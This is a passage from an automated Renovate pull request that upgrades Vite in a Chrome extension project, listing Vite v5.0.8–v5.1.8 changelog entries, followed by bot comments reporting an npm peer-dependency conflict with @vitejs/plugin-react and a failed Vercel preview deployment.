[#​16168](https://redirect.github.com/vitejs/vite/issues/16168) ### [`v5.1.8`](https://redirect.github.com/vitejs/vite/releases/tag/v5.1.8) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.7...v5.1.8) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.1.8/packages/vite/CHANGELOG.md) for details. ### [`v5.1.7`](https://redirect.github.com/vitejs/vite/releases/tag/v5.1.7) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.6...v5.1.7) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.1.7/packages/vite/CHANGELOG.md) for details. ### [`v5.1.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small516-2024-03-11-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.5...v5.1.6) - chore(deps): update all non-major dependencies ([#​16131](https://redirect.github.com/vitejs/vite/issues/16131)) ([a862ecb](https://redirect.github.com/vitejs/vite/commit/a862ecb)), closes [#​16131](https://redirect.github.com/vitejs/vite/issues/16131) - fix: check for publicDir before checking if it is a parent directory ([#​16046](https://redirect.github.com/vitejs/vite/issues/16046)) ([b6fb323](https://redirect.github.com/vitejs/vite/commit/b6fb323)), closes [#​16046](https://redirect.github.com/vitejs/vite/issues/16046) - fix: escape single quote when relative base is used ([#​16060](https://redirect.github.com/vitejs/vite/issues/16060)) ([8f74ce4](https://redirect.github.com/vitejs/vite/commit/8f74ce4)), closes [#​16060](https://redirect.github.com/vitejs/vite/issues/16060) - fix: handle function property extension in namespace import ([#​16113](https://redirect.github.com/vitejs/vite/issues/16113)) ([f699194](https://redirect.github.com/vitejs/vite/commit/f699194)), closes [#​16113](https://redirect.github.com/vitejs/vite/issues/16113) - fix: server middleware mode resolve ([#​16122](https://redirect.github.com/vitejs/vite/issues/16122)) ([8403546](https://redirect.github.com/vitejs/vite/commit/8403546)), closes [#​16122](https://redirect.github.com/vitejs/vite/issues/16122) - fix(esbuild): update tsconfck to fix bug that could cause a deadlock ([#​16124](https://redirect.github.com/vitejs/vite/issues/16124)) ([fd9de04](https://redirect.github.com/vitejs/vite/commit/fd9de04)), closes [#​16124](https://redirect.github.com/vitejs/vite/issues/16124) - fix(worker): hide "The emitted file overwrites" warning if the content is same ([#​16094](https://redirect.github.com/vitejs/vite/issues/16094)) ([60dfa9e](https://redirect.github.com/vitejs/vite/commit/60dfa9e)), closes [#​16094](https://redirect.github.com/vitejs/vite/issues/16094) - fix(worker): throw error when circular worker import is detected and support self referencing worker ([eef9da1](https://redirect.github.com/vitejs/vite/commit/eef9da1)), closes [#​16103](https://redirect.github.com/vitejs/vite/issues/16103) - style(utils): remove null check ([#​16112](https://redirect.github.com/vitejs/vite/issues/16112)) ([0d2df52](https://redirect.github.com/vitejs/vite/commit/0d2df52)), closes [#​16112](https://redirect.github.com/vitejs/vite/issues/16112) - refactor(runtime): share more code between runtime and main bundle ([#​16063](https://redirect.github.com/vitejs/vite/issues/16063)) ([93be84e](https://redirect.github.com/vitejs/vite/commit/93be84e)), closes [#​16063](https://redirect.github.com/vitejs/vite/issues/16063) ### [`v5.1.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small515-2024-03-04-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.4...v5.1.5) - fix: `__vite__mapDeps` code injection ([#​15732](https://redirect.github.com/vitejs/vite/issues/15732)) ([aff54e1](https://redirect.github.com/vitejs/vite/commit/aff54e1)), closes [#​15732](https://redirect.github.com/vitejs/vite/issues/15732) - fix: analysing build chunk without dependencies ([#​15469](https://redirect.github.com/vitejs/vite/issues/15469)) ([bd52283](https://redirect.github.com/vitejs/vite/commit/bd52283)), closes [#​15469](https://redirect.github.com/vitejs/vite/issues/15469) - fix: import with query with imports field ([#​16085](https://redirect.github.com/vitejs/vite/issues/16085)) ([ab823ab](https://redirect.github.com/vitejs/vite/commit/ab823ab)), closes [#​16085](https://redirect.github.com/vitejs/vite/issues/16085) - fix: normalize literal-only entry pattern ([#​16010](https://redirect.github.com/vitejs/vite/issues/16010)) ([1dccc37](https://redirect.github.com/vitejs/vite/commit/1dccc37)), closes [#​16010](https://redirect.github.com/vitejs/vite/issues/16010) - fix: optimizeDeps.entries with literal-only pattern(s) ([#​15853](https://redirect.github.com/vitejs/vite/issues/15853)) ([49300b3](https://redirect.github.com/vitejs/vite/commit/49300b3)), closes [#​15853](https://redirect.github.com/vitejs/vite/issues/15853) - fix: output correct error for empty import specifier ([#​16055](https://redirect.github.com/vitejs/vite/issues/16055)) ([a9112eb](https://redirect.github.com/vitejs/vite/commit/a9112eb)), closes [#​16055](https://redirect.github.com/vitejs/vite/issues/16055) - fix: upgrade esbuild to 0.20.x ([#​16062](https://redirect.github.com/vitejs/vite/issues/16062)) ([899d9b1](https://redirect.github.com/vitejs/vite/commit/899d9b1)), closes [#​16062](https://redirect.github.com/vitejs/vite/issues/16062) - fix(runtime): runtime HMR affects only imported files ([#​15898](https://redirect.github.com/vitejs/vite/issues/15898)) ([57463fc](https://redirect.github.com/vitejs/vite/commit/57463fc)), closes [#​15898](https://redirect.github.com/vitejs/vite/issues/15898) - fix(scanner): respect `experimentalDecorators: true` ([#​15206](https://redirect.github.com/vitejs/vite/issues/15206)) ([4144781](https://redirect.github.com/vitejs/vite/commit/4144781)), closes [#​15206](https://redirect.github.com/vitejs/vite/issues/15206) - revert: "fix: upgrade esbuild to 0.20.x" ([#​16072](https://redirect.github.com/vitejs/vite/issues/16072)) ([11cceea](https://redirect.github.com/vitejs/vite/commit/11cceea)), closes [#​16072](https://redirect.github.com/vitejs/vite/issues/16072) - refactor: share code with vite runtime ([#​15907](https://redirect.github.com/vitejs/vite/issues/15907)) ([b20d542](https://redirect.github.com/vitejs/vite/commit/b20d542)), closes [#​15907](https://redirect.github.com/vitejs/vite/issues/15907) - refactor(runtime): use functions from `pathe` ([#​16061](https://redirect.github.com/vitejs/vite/issues/16061)) ([aac2ef7](https://redirect.github.com/vitejs/vite/commit/aac2ef7)), closes [#​16061](https://redirect.github.com/vitejs/vite/issues/16061) - chore(deps): update all non-major dependencies ([#​16028](https://redirect.github.com/vitejs/vite/issues/16028)) ([7cfe80d](https://redirect.github.com/vitejs/vite/commit/7cfe80d)), closes [#​16028](https://redirect.github.com/vitejs/vite/issues/16028) ### [`v5.1.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small514-2024-02-21-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.3...v5.1.4) - perf: remove unnecessary regex s modifier ([#​15766](https://redirect.github.com/vitejs/vite/issues/15766)) ([8dc1b73](https://redirect.github.com/vitejs/vite/commit/8dc1b73)), closes [#​15766](https://redirect.github.com/vitejs/vite/issues/15766) - fix: fs cached checks disabled by default for yarn pnp ([#​15920](https://redirect.github.com/vitejs/vite/issues/15920)) ([8b11fea](https://redirect.github.com/vitejs/vite/commit/8b11fea)), closes [#​15920](https://redirect.github.com/vitejs/vite/issues/15920) - fix: resolve directory correctly when `fs.cachedChecks: true` ([#​15983](https://redirect.github.com/vitejs/vite/issues/15983)) ([4fe971f](https://redirect.github.com/vitejs/vite/commit/4fe971f)), closes [#​15983](https://redirect.github.com/vitejs/vite/issues/15983) - fix: srcSet with optional descriptor ([#​15905](https://redirect.github.com/vitejs/vite/issues/15905)) ([81b3bd0](https://redirect.github.com/vitejs/vite/commit/81b3bd0)), closes [#​15905](https://redirect.github.com/vitejs/vite/issues/15905) - fix(deps): update all non-major dependencies ([#​15959](https://redirect.github.com/vitejs/vite/issues/15959)) ([571a3fd](https://redirect.github.com/vitejs/vite/commit/571a3fd)), closes [#​15959](https://redirect.github.com/vitejs/vite/issues/15959) - fix(watch): build watch fails when outDir is empty string ([#​15979](https://redirect.github.com/vitejs/vite/issues/15979)) ([1d263d3](https://redirect.github.com/vitejs/vite/commit/1d263d3)), closes [#​15979](https://redirect.github.com/vitejs/vite/issues/15979) ### [`v5.1.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small513-2024-02-15-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.2...v5.1.3) - fix: cachedTransformMiddleware for direct css requests ([#​15919](https://redirect.github.com/vitejs/vite/issues/15919)) ([5099028](https://redirect.github.com/vitejs/vite/commit/5099028)), closes [#​15919](https://redirect.github.com/vitejs/vite/issues/15919) - refactor(runtime): minor tweaks ([#​15904](https://redirect.github.com/vitejs/vite/issues/15904)) ([63a39c2](https://redirect.github.com/vitejs/vite/commit/63a39c2)), closes [#​15904](https://redirect.github.com/vitejs/vite/issues/15904) - refactor(runtime): seal ES module namespace object instead of feezing ([#​15914](https://redirect.github.com/vitejs/vite/issues/15914)) ([4172f02](https://redirect.github.com/vitejs/vite/commit/4172f02)), closes [#​15914](https://redirect.github.com/vitejs/vite/issues/15914) ### [`v5.1.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small512-2024-02-14-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.1...v5.1.2) - fix: normalize import file path info ([#​15772](https://redirect.github.com/vitejs/vite/issues/15772)) ([306df44](https://redirect.github.com/vitejs/vite/commit/306df44)), closes [#​15772](https://redirect.github.com/vitejs/vite/issues/15772) - fix(build): do not output build time when build fails ([#​15711](https://redirect.github.com/vitejs/vite/issues/15711)) ([added3e](https://redirect.github.com/vitejs/vite/commit/added3e)), closes [#​15711](https://redirect.github.com/vitejs/vite/issues/15711) - fix(runtime): pass path instead of fileURL to `isFilePathESM` ([#​15908](https://redirect.github.com/vitejs/vite/issues/15908)) ([7b15607](https://redirect.github.com/vitejs/vite/commit/7b15607)), closes [#​15908](https://redirect.github.com/vitejs/vite/issues/15908) - fix(worker): support UTF-8 encoding in inline workers (fixes [#​12117](https://redirect.github.com/vitejs/vite/issues/12117)) ([#​15866](https://redirect.github.com/vitejs/vite/issues/15866)) ([570e0f1](https://redirect.github.com/vitejs/vite/commit/570e0f1)), closes [#​12117](https://redirect.github.com/vitejs/vite/issues/12117) [#​15866](https://redirect.github.com/vitejs/vite/issues/15866) - chore: update license file ([#​15885](https://redirect.github.com/vitejs/vite/issues/15885)) ([d9adf18](https://redirect.github.com/vitejs/vite/commit/d9adf18)), closes [#​15885](https://redirect.github.com/vitejs/vite/issues/15885) - chore(deps): update all non-major dependencies ([#​15874](https://redirect.github.com/vitejs/vite/issues/15874)) ([d16ce5d](https://redirect.github.com/vitejs/vite/commit/d16ce5d)), closes [#​15874](https://redirect.github.com/vitejs/vite/issues/15874) - chore(deps): update dependency dotenv-expand to v11 ([#​15875](https://redirect.github.com/vitejs/vite/issues/15875)) ([642d528](https://redirect.github.com/vitejs/vite/commit/642d528)), closes [#​15875](https://redirect.github.com/vitejs/vite/issues/15875) ### [`v5.1.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small511-2024-02-09-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.0...v5.1.1) - fix: empty CSS file was output when only .css?url is used ([#​15846](https://redirect.github.com/vitejs/vite/issues/15846)) ([b2873ac](https://redirect.github.com/vitejs/vite/commit/b2873ac)), closes [#​15846](https://redirect.github.com/vitejs/vite/issues/15846) - fix: skip not only .js but also .mjs manifest entries ([#​15841](https://redirect.github.com/vitejs/vite/issues/15841)) ([3d860e7](https://redirect.github.com/vitejs/vite/commit/3d860e7)), closes [#​15841](https://redirect.github.com/vitejs/vite/issues/15841) - chore: post 5.1 release edits ([#​15840](https://redirect.github.com/vitejs/vite/issues/15840)) ([9da6502](https://redirect.github.com/vitejs/vite/commit/9da6502)), closes [#​15840](https://redirect.github.com/vitejs/vite/issues/15840) ### [`v5.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#510-2024-02-08) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.13...v5.1.0) - chore: revert [#​15746](https://redirect.github.com/vitejs/vite/issues/15746) ([#​15839](https://redirect.github.com/vitejs/vite/issues/15839)) ([ed875f8](https://redirect.github.com/vitejs/vite/commit/ed875f8)), closes [#​15746](https://redirect.github.com/vitejs/vite/issues/15746) [#​15839](https://redirect.github.com/vitejs/vite/issues/15839) - fix: pass `customLogger` to `loadConfigFromFile` (fix [#​15824](https://redirect.github.com/vitejs/vite/issues/15824)) ([#​15831](https://redirect.github.com/vitejs/vite/issues/15831)) ([55a3427](https://redirect.github.com/vitejs/vite/commit/55a3427)), closes [#​15824](https://redirect.github.com/vitejs/vite/issues/15824) [#​15831](https://redirect.github.com/vitejs/vite/issues/15831) - fix(deps): update all non-major dependencies ([#​15803](https://redirect.github.com/vitejs/vite/issues/15803)) ([e0a6ef2](https://redirect.github.com/vitejs/vite/commit/e0a6ef2)), closes [#​15803](https://redirect.github.com/vitejs/vite/issues/15803) - refactor: remove `vite build --force` ([#​15837](https://redirect.github.com/vitejs/vite/issues/15837)) ([f1a4242](https://redirect.github.com/vitejs/vite/commit/f1a4242)), closes [#​15837](https://redirect.github.com/vitejs/vite/issues/15837) ### [`v5.0.13`](https://redirect.github.com/vitejs/vite/releases/tag/v5.0.13) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.12...v5.0.13) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.0.13/packages/vite/CHANGELOG.md) for details. ### [`v5.0.12`](https://redirect.github.com/vitejs/vite/releases/tag/v5.0.12) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.11...v5.0.12) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.0.12/packages/vite/CHANGELOG.md) for details. ### [`v5.0.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5011-2024-01-05-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.10...v5.0.11) - fix: don't pretransform classic script links ([#​15361](https://redirect.github.com/vitejs/vite/issues/15361)) ([19e3c9a](https://redirect.github.com/vitejs/vite/commit/19e3c9a)), closes [#​15361](https://redirect.github.com/vitejs/vite/issues/15361) - fix: inject `__vite__mapDeps` code before sourcemap file comment ([#​15483](https://redirect.github.com/vitejs/vite/issues/15483)) ([d2aa096](https://redirect.github.com/vitejs/vite/commit/d2aa096)), closes [#​15483](https://redirect.github.com/vitejs/vite/issues/15483) - fix(assets): avoid splitting `,` inside base64 value of `srcset` attribute ([#​15422](https://redirect.github.com/vitejs/vite/issues/15422)) ([8de7bd2](https://redirect.github.com/vitejs/vite/commit/8de7bd2)), closes [#​15422](https://redirect.github.com/vitejs/vite/issues/15422) - fix(html): handle offset magic-string slice error ([#​15435](https://redirect.github.com/vitejs/vite/issues/15435)) ([5ea9edb](https://redirect.github.com/vitejs/vite/commit/5ea9edb)), closes [#​15435](https://redirect.github.com/vitejs/vite/issues/15435) - chore(deps): update dependency strip-literal to v2 ([#​15475](https://redirect.github.com/vitejs/vite/issues/15475)) ([49d21fe](https://redirect.github.com/vitejs/vite/commit/49d21fe)), closes [#​15475](https://redirect.github.com/vitejs/vite/issues/15475) - chore(deps): update tj-actions/changed-files action to v41 ([#​15476](https://redirect.github.com/vitejs/vite/issues/15476)) ([2a540ee](https://redirect.github.com/vitejs/vite/commit/2a540ee)), closes [#​15476](https://redirect.github.com/vitejs/vite/issues/15476) ### [`v5.0.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5010-2023-12-15-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.9...v5.0.10) - fix: omit protocol does not require pre-transform ([#​15355](https://redirect.github.com/vitejs/vite/issues/15355)) ([d9ae1b2](https://redirect.github.com/vitejs/vite/commit/d9ae1b2)), closes [#​15355](https://redirect.github.com/vitejs/vite/issues/15355) - fix(build): use base64 for inline SVG if it contains both single and double quotes ([#​15271](https://redirect.github.com/vitejs/vite/issues/15271)) ([1bbff16](https://redirect.github.com/vitejs/vite/commit/1bbff16)), closes [#​15271](https://redirect.github.com/vitejs/vite/issues/15271) ### [`v5.0.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small509-2023-12-14-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.8...v5.0.9) - fix: htmlFallbackMiddleware for favicon ([#​15301](https://redirect.github.com/vitejs/vite/issues/15301)) ([c902545](https://redirect.github.com/vitejs/vite/commit/c902545)), closes [#​15301](https://redirect.github.com/vitejs/vite/issues/15301) - fix: more stable hash calculation for depsOptimize ([#​15337](https://redirect.github.com/vitejs/vite/issues/15337)) ([2b39fe6](https://redirect.github.com/vitejs/vite/commit/2b39fe6)), closes [#​15337](https://redirect.github.com/vitejs/vite/issues/15337) - fix(scanner): catch all external files for glob imports ([#​15286](https://redirect.github.com/vitejs/vite/issues/15286)) ([129d0d0](https://redirect.github.com/vitejs/vite/commit/129d0d0)), closes [#​15286](https://redirect.github.com/vitejs/vite/issues/15286) - fix(server): avoid chokidar throttling on startup ([#​15347](https://redirect.github.com/vitejs/vite/issues/15347)) ([56a5740](https://redirect.github.com/vitejs/vite/commit/56a5740)), closes [#​15347](https://redirect.github.com/vitejs/vite/issues/15347) - fix(worker): replace `import.meta` correctly for IIFE worker ([#​15321](https://redirect.github.com/vitejs/vite/issues/15321)) ([08d093c](https://redirect.github.com/vitejs/vite/commit/08d093c)), closes [#​15321](https://redirect.github.com/vitejs/vite/issues/15321) - feat: log re-optimization reasons ([#​15339](https://redirect.github.com/vitejs/vite/issues/15339)) ([b1a6c84](https://redirect.github.com/vitejs/vite/commit/b1a6c84)), closes [#​15339](https://redirect.github.com/vitejs/vite/issues/15339) - chore: temporary typo ([#​15329](https://redirect.github.com/vitejs/vite/issues/15329)) ([7b71854](https://redirect.github.com/vitejs/vite/commit/7b71854)), closes [#​15329](https://redirect.github.com/vitejs/vite/issues/15329) - perf: avoid computing paths on each request ([#​15318](https://redirect.github.com/vitejs/vite/issues/15318)) ([0506812](https://redirect.github.com/vitejs/vite/commit/0506812)), closes [#​15318](https://redirect.github.com/vitejs/vite/issues/15318) - perf: temporary hack to avoid fs checks for /[@​react-refresh](https://redirect.github.com/react-refresh) ([#​15299](https://redirect.github.com/vitejs/vite/issues/15299)) ([b1d6211](https://redirect.github.com/vitejs/vite/commit/b1d6211)), closes [#​15299](https://redirect.github.com/vitejs/vite/issues/15299) ### [`v5.0.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small508-2023-12-12-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.7...v5.0.8) - perf: cached fs utils ([#​15279](https://redirect.github.com/vitejs/vite/issues/15279)) ([c9b61c4](https://redirect.github.com/vitejs/vite/commit/c9b61c4)), closes [#​15279](https://redirect.github.com/vitejs/vite/issues/15279) - fix: missing warmupRequest in transformIndexHtml ([#​15303](https://redirect.github.com/vitejs/vite/issues/15303)) ([103820f](https://redirect.github.com/vitejs/vite/commit/103820f)), closes [#​15303](https://redirect.github.com/vitejs/vite/issues/15303) - fix: public files map will be updated on add/unlink in windows ([#​15317](https://redirect.github.com/vitejs/vite/issues/15317)) ([921ca41](https://redirect.github.com/vitejs/vite/commit/921ca41)), closes [#​15317](https://redirect.github.com/vitejs/vite/issues/15317) - fix(build): decode urls in CSS files (fix [#​15109](https://red

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.



This PR was generated by Mend Renovate. View the repository job log.

renovate[bot] commented 3 months ago

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

The artifact failure details are included below:

File name: package-lock.json
npm ERR! code ERESOLVE
npm ERR! ERESOLVE could not resolve
npm ERR! 
npm ERR! While resolving: @vitejs/plugin-react@2.2.0
npm ERR! Found: vite@5.4.6
npm ERR! node_modules/vite
npm ERR!   dev vite@"^5.0.0" from the root project
npm ERR!   peer vite@">=2.9.0" from @crxjs/vite-plugin@1.0.13
npm ERR!   node_modules/@crxjs/vite-plugin
npm ERR!     dev @crxjs/vite-plugin@"^1.0.13" from the root project
npm ERR!   2 more (vite-node, vitest)
npm ERR! 
npm ERR! Could not resolve dependency:
npm ERR! peer vite@"^3.0.0" from @vitejs/plugin-react@2.2.0
npm ERR! node_modules/@vitejs/plugin-react
npm ERR!   dev @vitejs/plugin-react@"^2.0.0" from the root project
npm ERR!   optional @vitejs/plugin-react@">=1.2.0" from @crxjs/vite-plugin@1.0.13
npm ERR!   node_modules/@crxjs/vite-plugin
npm ERR!     dev @crxjs/vite-plugin@"^1.0.13" from the root project
npm ERR! 
npm ERR! Conflicting peer dependency: vite@3.2.11
npm ERR! node_modules/vite
npm ERR!   peer vite@"^3.0.0" from @vitejs/plugin-react@2.2.0
npm ERR!   node_modules/@vitejs/plugin-react
npm ERR!     dev @vitejs/plugin-react@"^2.0.0" from the root project
npm ERR!     optional @vitejs/plugin-react@">=1.2.0" from @crxjs/vite-plugin@1.0.13
npm ERR!     node_modules/@crxjs/vite-plugin
npm ERR!       dev @crxjs/vite-plugin@"^1.0.13" from the root project
npm ERR! 
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force, or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR! 
npm ERR! See /tmp/renovate/cache/others/npm/eresolve-report.txt for a full report.

npm ERR! A complete log of this run can be found in:
npm ERR!     /tmp/renovate/cache/others/npm/_logs/2024-09-19T21_04_24_763Z-debug-0.log
vercel[bot] commented 3 months ago

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name Status Preview Comments Updated (UTC)
crx-gcal-url-opener ❌ Failed (Inspect) Sep 19, 2024 9:04pm